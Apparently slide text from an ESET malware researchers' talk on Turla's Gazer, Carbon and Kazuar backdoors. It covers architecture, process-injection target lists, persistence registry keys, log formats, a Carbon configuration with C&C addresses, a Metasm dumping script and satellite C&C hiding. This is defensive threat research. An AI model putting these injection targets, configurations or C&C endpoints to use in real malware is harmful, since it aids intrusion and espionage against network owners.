Running within “explorer.exe”

Forward task
Send task’s result

GAZER ORCHESTRATOR
- rsrс 101
- [...]

Running within “firefox.exe” (for example)

 Injected into a process that legitimately communicates over the internet (process list from rsrс 106)

Machines on the same network (P2P)

C&C server

May forward task

Send tasks’ results
Get new tasks
Gazer Architecture

GAZER LOADER

rsr 101
"explorer.exe"

rsr 102
Orchestrator

Injected into process
Indicated in rsrc 101

GAZER ORCHESTRATOR

running within
"explorer.exe"

rsr 101

rsr 102
Comm module

GAZER ORCHESTRATOR

running within
"firefox.exe" (for example)

May forward task

Injected into a process that
legitimately communicate
over the internet
(process list from rsrc 101)

Forward task

Send task’s result

Machines on the same
network (P2P)

Send tasks’ results

Get new tasks

C&C server
Gazer Architecture

**GAZER LOADER**
- rsrs 101 "explorer.exe"
- rsrs 102 Orchestrator

**GAZER ORCHESTRATOR**
- running within "explorer.exe"
  - rsrs 101
  - [...]
  - rsrs 102 Comm module

**GAZER ORCHESTRATOR**
- running within "firefox.exe" (for example)

- Forward task
- Send task's result
- Injected into a process that legitimately communicate over the internet (process list from rsrs 106)

- Machines on the same network (P2P)

- C&C server

- Send tasks' results
- Get new tasks

- May forward task
Process injection list

• Standard ones:
  • iexplore.exe
  • firefox.exe
  • outlook.exe
  • chrome.exe
  • browser.exe
  • opera.exe
  • safari.exe

• Custom ones:
  • osoupd.exe
  • acrotray.exe
  • UpdaterUI.exe
  • dropbox.exe
  • onedrive.exe
Process injection list

• Standard ones:
  • iexplore.exe
  • firefox.exe
  • outlook.exe
  • chrome.exe
  • browser.exe
  • opera.exe
  • safari.exe

• Custom ones:
  • osoupd.exe
  • acrotray.exe
  • UpdaterUI.exe
  • dropbox.exe
  • onedrive.exe
Skipper relationship

- Seen in tandem
- Usage of code signing certificates
- We have seen Gazer being installed 24 hours after initial Skipper infection
RunTime Type Information - RTTI

• C++ class introspection (dynamic_cast, typeid, exception dispatcher) requires additional information to be stored in binary

• Gazer has this information. We can recover
  • Virtual Function Table (VFT)
  • Class names
  • Base classes

• Bonus: some binaries included function names
RunTime Type Information - RTTI

• Looking for “.?AV” strings

```c
typedef const struct _s__RTTIClassHierarchyDescriptor {
  unsigned long signature;
  unsigned long offset;
  unsigned long cdOffset;
  _TypeDescriptor *pTypeDescriptor;
  __RTTIClassHierarchyDescriptor *pClassDescriptor;
} __RTTIClassObjectLocator;
```
Similarities exposed
Working directory similarities - Carbon

```bash
%carbon_working_folder% // base folder
  0208 // tasks results and logs files
  C_56743.NLS // contains list of files to send to the C&C server, this file is neither compressed nor encrypted
  asncerts.rs // might contain either an IP or a namedpipe to contact a computer from the local network
  getcerts.rs // might contain either an IP or a namedpipe to contact a computer from the local network
  miniport.dat // configuration file
  msximl.dll // injected library (x32)
  Nls // contains tasks (commands to be executed or PE file) and their configuration files
    a67ncodc.ax // tasks to be executed by the orchestrator
    b9s3coff.ax // tasks to be executed by the injected library
  System // plugins folder
    bootmisc.sdi // not used
  qavscr.dat // error log
  vndkrmn.dic // log
  ximarsch.dll // injected library (x64)
```
Working directory similarities - Kazuar

```
$ tree b6816fb16afd679b5a8cc93da9526efc
b6816fb16afd679b5a8cc93da9526efc // base folder
| 0fe67973610d2f8b8075fc27b0ff6493 // results folder
| 5bf518ee0716ad537b68b58c437d1d99.dll // DLL file dropped by Kazuar
| a752be29893b80f9077122a0ef8c9853 //
| d3e644349d5dc45016f4c11074956f7 // log folder

- 08D4281D83A4D11A
- 08D4281D83B0B7FB
- 08D4281D86B3F5D4
- 08D4281D87289941
- 08D4281D872AF8A1
- 08D4281D8761BA48
- 08D4281D8A3C80BC

| d8e70271754d92f82673db4928bc89c // plugin folder
| e82ce5d02f971bc572a1b56486fc835c // sys folder

- 07102507aae8b53b385631191d749c77 // agent id
- 65caab45a5f008b17a3fbb5f88d0380 // interval
- 6f19d4b2bc533dc0f08c9736bdced4ab // last contact time
- 81a9fc7f031c8d48d424d61a1066f82b // remote type
- 81ee7b9a690e8f24d91f6c017ed733dc // autorun type
- 920d09d98a079fc827f06ecc525d6537 // transports
- e61989cf6ae899a76056989d3c415190 // default servers
```
Working directory similarities - Kazuar

```bash
$ tree b6816fb16af6d79b5a8cc93da9526efc
b6816fb16af6d79b5a8cc93da9526efc // base folder
  0fe67973610d12f8b0875fc27b0ff1493 // results folder
  5bf518ee0716ad537b68b58c437d1d99.dll // DLL file dropped by Kazuar
  a752be29893b80f9077122a0ef8c9853
  d3e644349d5cd45016f4c1107f4956f7 // log folder
    08d4281d80b7f8b78d
    08d4281d83b0b78d
    08d4281d86b3f5d4
    08d4281d8728994
    08d4281d872afa1
    08d4281d872afaa1
    08d4281d8761ba48
    08d4281d8a3c80bc
  d8e70271754d921f82673db4928bc89c // plugin folder
e82ce5de09f71bc572a1b56486fc835c // sys folder
    07102507ae8b53b385631191d749c77 // agent id
    65caab45ae0f008b17a3ffbb5f88d0380 // interval
    6f19d4bebc533dc0f08c9736bdced4ab // last contact time
    81a94fcf7031c8d8d42fbd1a1066f82b // remote type
    81ee7b9a690e8f24d91f0c176d333d // autorun type
    920d09d98a079fc827f06ecc52566537 // transports
e61989cf6ae899a76056989d3c415190 // default servers
```

**md5('log') XOR key**
Working directory similarities - Gazer

- **Moved to registry**
  - `%RootStoragePath%\{119D263D-68FC-1942-3CA3-46B23FA652A0}
    - Object ID: a unique ID to identify the victim
  - `%RootStoragePath%\{1DC12691-2B24-2265-435D-735D3B118A70}
    - Task Queue: linked list of tasks to be executed
  - `%RootStoragePath%\{28E74BDA-4327-31B0-17B9-56A66A818C1D}
    - Plugins
  - `%RootStoragePath%\{31AC34A1-2DE2-36AC-1F6E-86F43772841F}
    - Communication Module: the DLL that communicates with the C&C server
  - `%RootStoragePath%\{3CDC155D-398A-646E-1021-23047D9B4366}
    - Autorun: the persistency method
Logs - Carbon

- Encrypted with CAST-128
- Format: Date|Time|Object-Id|Source|Message

[LOG]
start=1
20/02/17|12:48:24|8hTdJtUBBS7ieReZA0SgUYacts|s|OPER|New object ID generated '8hTdJtUBBS7ieReZA0SgUYacts'
20/02/17|12:48:24|8hTdJtUBBS7ieReZA0SgUYacts|s|ST|3/81|0|
20/02/17|12:48:24|8hTdJtUBBS7ieReZA0SgUYacts|s|START_OK
Logs - Kazuar

- Encrypted with AES-256-CBC
- Format: process_name [PID]: message
Logs - Gazer

• Encrypted with 3DES
• Format: Hour:Min:Sec:Ms | [log ID] [log]
Configuration items – Carbon/Kazuar/Gazer

• Processes where to inject 3rd stage
• Last C&C contact time
• C&C list
• Victim ID
• Frequency and time of tasks execution
• Processes where to inject 3rd stage
• Last C&C contact time
• C&C list
• Victim ID
• Frequency and time of tasks execution

```
[NAME]
object_id =
  iproc = iexplore.exe, outlook.exe, msimn.exe, firefox.exe, opera.exe, chrome.exe,
  ex = #, netscape.exe, mozilla.exe, adobeupdater.exe, chrome.exe

[TIME]
  user_min = 1800000
  user_max = 3600000
  sys_min = 3600000
  sys_max = 3700000
  task_min = 20000
  task_max = 300000
  checkmin = 60000
  checkmax = 70000
  logmin = 60000
  logmax = 120000
  lastconnect = 111
  timeout =
  active_con = 900000
  time2task = 3600000

[CW_LOCAL]
  quantity = 0

[CW_INET]
  quantity = 3
  address1 = doctorhand.org:80:/wp-content/about/
  address2 = www.lasac.eu:80:/credit_payment/url/
  address3 = www.shoppingexpert.it:80:/wp-content/gallery/
```
Interlude - Metasm
Leverage Metasm to dump encrypted data

• Custom RSA implementation

• Unable to decrypt data with standard libraries

• Why not use directly Gazer code?
Metasm

• Assembler / Disassembler / Compiler / Debugger
Metasm

- Assembler / Disassembler / Compiler / Debugger

- Scriptable in Ruby
Metasm

• Assembler / Disassembler / Compiler / Debugger

• Scriptable in Ruby
Metasm

• Assembler / Disassembler / Compiler / Debugger

• Scriptable in Ruby

• https://github.com/jjyg/metasm
Script

1. Put breakpoints on specific addresses
2. Debug the Gazer sample
3. Dump unencrypted data
def dump_rsnc
    addr_data = @dbg.memory_read_int(@dbg.resolve("rcx"))
    addr_size = @dbg.resolve("rdx")
    size = @dbg.memory_read_int(addr_size)
    buf = @dbg[addr_data,size]
    @filename = $rsnc_id.to_s() + ".dumped"
    puts "[+] decrypted resource #{$rsnc_id} extracted"
    File.write(@infile + ".extract/" + @filename, buf)
    if $rsnc_id == 104
        exit
    end
end
Infrastructure
First layer C&C server

Infected machine → Next C&C server layer

OR

Infected machine → Next C&C server layer

OR

Infected machine
SATCOM Infrastructure

• Hide real C&C addresses

• Attribution is more difficult

• Take-down almost impossible
MAKERSMARK: Less Attributed Overview

Safeguarding Canada’s security through information superiority
Préserver la sécurité du Canada par la supériorité de l’information
Infected machine
MAKERSMARK: Less Attributed Overview

- Infected machine
- Satellite broadcasts traffic
Infected machine

SIGINT interception

Satellite broadcasts traffic
SIGINT interception

Satellite broadcasts traffic

Real C&C server. Uses the IP address of a real SAT customer.

Infected machine
Playing cat and mouse

• Gazer change in IOCs
• Carbon changes in IOCs
• Nautilus changes after NCSC UK report
• Mosquito DLLs no longer dropped on disk after our publication
Conclusion

• Turla is still very active

• Really effective at tricking the users

• Large toolset
  • Most advanced backdoors used on the most protected networks
Jean-Ian Boutin
Senior Malware Researcher
@jiboutin

Matthieu Faou
Malware Researcher
@matthieu_faou

www.eset.com | www.welivesecurity.com